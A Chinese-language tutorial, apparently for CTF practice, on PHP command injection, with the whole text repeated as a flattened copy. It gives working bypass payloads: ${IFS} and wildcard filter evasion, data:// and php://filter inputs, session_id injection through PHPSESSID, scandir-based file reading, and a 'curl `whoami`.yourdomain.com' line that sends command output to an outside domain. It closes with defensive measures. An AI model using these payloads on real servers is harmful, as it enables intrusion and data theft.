浅析命令执行
字数 2461 2025-08-29 08:31:35

命令执行漏洞深度解析与实战指南

一、命令执行漏洞概述

1.1 漏洞定义

命令执行漏洞是指Web应用程序对用户输入的命令安全检测不足,导致攻击者能够注入并执行恶意系统命令的安全漏洞。当应用需要调用外部程序处理内容时,会使用一些执行系统命令的函数,如果用户可以控制这些函数中的参数,就可能造成命令执行攻击。

1.2 漏洞危害

  • 继承Web服务程序的权限执行系统命令或读写文件
  • 反弹shell获取服务器控制权
  • 控制整个网站甚至服务器
  • 作为跳板进行内网渗透

二、相关函数与知识

2.1 PHP危险函数

2.1.1 命令执行函数

  • system(): 执行外部程序并显示输出
  • exec(): 执行外部程序但不直接输出结果
  • passthru(): 执行外部程序并直接输出原始结果
  • shell_exec(): 通过shell执行命令并以字符串返回输出

2.1.2 文件操作函数

  • highlight_file()/show_source(): 对文件进行语法高亮显示
  • file_get_contents(): 将整个文件读入字符串
  • fopen()/fread(): 文件操作函数

2.1.3 其他相关函数

  • isset(): 检测变量是否设置
  • eval(): 执行字符串作为PHP代码
  • glob(): 返回匹配指定模式的文件名或目录
  • session_start()/session_id(): 会话管理函数

2.2 Linux命令与重定向

2.2.1 文件查看命令

  • cat: 从第一行开始显示全部内容
  • tac: 从最后一行倒序显示内容
  • nl: 显示内容并输出行号
  • more/less: 分页显示内容
  • head/tail: 显示文件开头/结尾部分

2.2.2 重定向符号

  • >: 输出重定向(覆盖)
  • >>: 输出重定向(追加)
  • <: 输入重定向
  • 2>: 错误输出重定向
  • /dev/null: Linux空设备文件(黑洞)
  • 2>&1: 将标准错误重定向到标准输出

2.3 正则表达式基础

  • ?: 匹配前一个字符0次或1次
  • .: 匹配除换行符外的任意字符
  • *: 匹配前一个字符0次或多次
  • \i: 大小写不敏感匹配
  • \w: 匹配任意单词字符[A-Za-z0-9_]
  • \d: 匹配任意数字[0-9]

三、高级绕过技术

3.1 无数字字母构造Webshell

当数字和字母被过滤时,可利用未被过滤的字符通过运算拼接得到所需字符:

3.1.1 异或运算

def num():
    for i in range(0, 256):
        if (i ^ ord('#') == ord('_')):
            print(chr(i))
            return

3.1.2 取反运算

公式:~a = -(a+1)
利用取反运算构造所需数字:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))

3.2 空格绕过技术

  • <<>%09(Tab)
  • ${IFS}$IFS$9
  • 重定向符号<代替空格

3.3 命令分隔绕过

  • ;: 命令分隔符(常被过滤)
  • |: 管道符
  • ||: 或运算符(前命令失败执行后命令)
  • &&: 与运算符(前命令成功执行后命令)
  • %0a: 换行符

3.4 通配符使用

  • *: 匹配任意数量字符
  • ?: 匹配单个字符
  • [a-z]: 匹配范围
  • 示例:cat fla*cat fla?.php

四、伪协议利用

4.1 常用伪协议

  1. file://

    • 条件:allow_url_fopenallow_url_include任意开启
    • 用法:file://[文件路径]
  2. php://

    • 条件:allow_url_include需开启
    • 常用形式:
      • php://input: 执行POST输入的PHP代码
      • php://filter: 读取文件内容
    • 示例:php://filter/read=convert.base64-encode/resource=flag.php
  3. data://

    • 条件:allow_url_fopenallow_url_include都需开启
    • 用法:
      • data://text/plain,<?php phpinfo();?>
      • data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
  4. zip://phar://zlib://

    • 可访问压缩包内文件
    • 示例:zip:///var/www/html/uploads/file.jpg%23shell.php

4.2 伪协议实战案例

?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFpbCBmKmA/Pg==

解码后为:<?php echo tail f* ?>

五、Session利用技术

5.1 Session机制原理

  • Session保存在服务器内存中
  • 通过session_id标识客户端
  • PHP默认Session存储路径:/tmp/

5.2 Session利用方法

  1. 通过session_id()执行命令:
?c=session_start();system(session_id());

然后设置Cookie: PHPSESSID=ls

  1. 通过show_source()读取文件:
?c=show_source(session_id(session_start()));

设置Cookie: PHPSESSID=flag.php

注:PHP 5.5-7.1.9版本有效

六、实战技巧与Payload

6.1 文件目录遍历

c=var_dump(scandir(current(localeconv())));
// 或
c=print_r(scandir(dirname(__FILE__)));

6.2 随机获取文件

c=show_source(array_rand(array_flip(scandir(current(localeconv())))));

6.3 逆序输出文件

c=show_source(next(array_reverse(scandir(current(localeconv())))));

6.4 严格过滤下的绕过

// 使用bin目录下的命令
c=/bin/?at${IFS}f??????

6.5 无回显情况处理

// 将结果写入文件再访问
c=ls>/var/www/html/1.txt
// 或使用DNS外带
c=curl `whoami`.yourdomain.com

七、防御措施

  1. 输入验证

    • 严格限制用户输入格式
    • 使用白名单而非黑名单
  2. 函数替代

    • 使用escapeshellarg()escapeshellcmd()
    • 避免直接使用系统命令函数
  3. 权限控制

    • Web服务运行在低权限用户下
    • 禁用危险函数(disable_functions
  4. 配置安全

    • 关闭不必要的伪协议支持
    • 设置open_basedir限制访问目录
  5. 日志监控

    • 记录所有命令执行操作
    • 设置异常行为告警

八、总结

命令执行漏洞危害严重,攻击者可通过多种方式绕过防御措施。安全开发应从设计阶段就考虑命令执行风险,采用最小权限原则,并实施多层防御策略。对于安全研究人员,深入理解系统机制和灵活运用各种绕过技术是发现和利用此类漏洞的关键。

命令执行漏洞深度解析与实战指南 一、命令执行漏洞概述 1.1 漏洞定义 命令执行漏洞是指Web应用程序对用户输入的命令安全检测不足,导致攻击者能够注入并执行恶意系统命令的安全漏洞。当应用需要调用外部程序处理内容时,会使用一些执行系统命令的函数,如果用户可以控制这些函数中的参数,就可能造成命令执行攻击。 1.2 漏洞危害 继承Web服务程序的权限执行系统命令或读写文件 反弹shell获取服务器控制权 控制整个网站甚至服务器 作为跳板进行内网渗透 二、相关函数与知识 2.1 PHP危险函数 2.1.1 命令执行函数 system() : 执行外部程序并显示输出 exec() : 执行外部程序但不直接输出结果 passthru() : 执行外部程序并直接输出原始结果 shell_exec() : 通过shell执行命令并以字符串返回输出 2.1.2 文件操作函数 highlight_file() / show_source() : 对文件进行语法高亮显示 file_get_contents() : 将整个文件读入字符串 fopen() / fread() : 文件操作函数 2.1.3 其他相关函数 isset() : 检测变量是否设置 eval() : 执行字符串作为PHP代码 glob() : 返回匹配指定模式的文件名或目录 session_start() / session_id() : 会话管理函数 2.2 Linux命令与重定向 2.2.1 文件查看命令 cat : 从第一行开始显示全部内容 tac : 从最后一行倒序显示内容 nl : 显示内容并输出行号 more / less : 分页显示内容 head / tail : 显示文件开头/结尾部分 2.2.2 重定向符号 > : 输出重定向(覆盖) >> : 输出重定向(追加) < : 输入重定向 2> : 错误输出重定向 /dev/null : Linux空设备文件(黑洞) 2>&1 : 将标准错误重定向到标准输出 2.3 正则表达式基础 ? : 匹配前一个字符0次或1次 . : 匹配除换行符外的任意字符 * : 匹配前一个字符0次或多次 \i : 大小写不敏感匹配 \w : 匹配任意单词字符[ A-Za-z0-9_ ] \d : 匹配任意数字[ 0-9 ] 三、高级绕过技术 3.1 无数字字母构造Webshell 当数字和字母被过滤时,可利用未被过滤的字符通过运算拼接得到所需字符: 3.1.1 异或运算 3.1.2 取反运算 公式: ~a = -(a+1) 利用取反运算构造所需数字: 3.2 空格绕过技术 < 、 <> 、 %09 (Tab) ${IFS} 、 $IFS$9 重定向符号 < 代替空格 3.3 命令分隔绕过 ; : 命令分隔符(常被过滤) | : 管道符 || : 或运算符(前命令失败执行后命令) && : 与运算符(前命令成功执行后命令) %0a : 换行符 3.4 通配符使用 * : 匹配任意数量字符 ? : 匹配单个字符 [a-z] : 匹配范围 示例: cat fla* 、 cat fla?.php 四、伪协议利用 4.1 常用伪协议 file:// 条件: allow_url_fopen 和 allow_url_include 任意开启 用法: file://[文件路径] php:// 条件: allow_url_include 需开启 常用形式: php://input : 执行POST输入的PHP代码 php://filter : 读取文件内容 示例: php://filter/read=convert.base64-encode/resource=flag.php data:// 条件: allow_url_fopen 和 allow_url_include 都需开启 用法: data://text/plain,<?php phpinfo();?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= zip:// 、 phar:// 、 zlib:// 可访问压缩包内文件 示例: zip:///var/www/html/uploads/file.jpg%23shell.php 4.2 伪协议实战案例 解码后为: <?php echo tail f* ?> 五、Session利用技术 5.1 Session机制原理 Session保存在服务器内存中 通过 session_id 标识客户端 PHP默认Session存储路径: /tmp/ 5.2 Session利用方法 通过 session_id() 执行命令: 然后设置Cookie: PHPSESSID=ls 通过 show_source() 读取文件: 设置Cookie: PHPSESSID=flag.php 注:PHP 5.5-7.1.9版本有效 六、实战技巧与Payload 6.1 文件目录遍历 6.2 随机获取文件 6.3 逆序输出文件 6.4 严格过滤下的绕过 6.5 无回显情况处理 七、防御措施 输入验证 : 严格限制用户输入格式 使用白名单而非黑名单 函数替代 : 使用 escapeshellarg() 和 escapeshellcmd() 避免直接使用系统命令函数 权限控制 : Web服务运行在低权限用户下 禁用危险函数( disable_functions ) 配置安全 : 关闭不必要的伪协议支持 设置 open_basedir 限制访问目录 日志监控 : 记录所有命令执行操作 设置异常行为告警 八、总结 命令执行漏洞危害严重,攻击者可通过多种方式绕过防御措施。安全开发应从设计阶段就考虑命令执行风险,采用最小权限原则,并实施多层防御策略。对于安全研究人员,深入理解系统机制和灵活运用各种绕过技术是发现和利用此类漏洞的关键。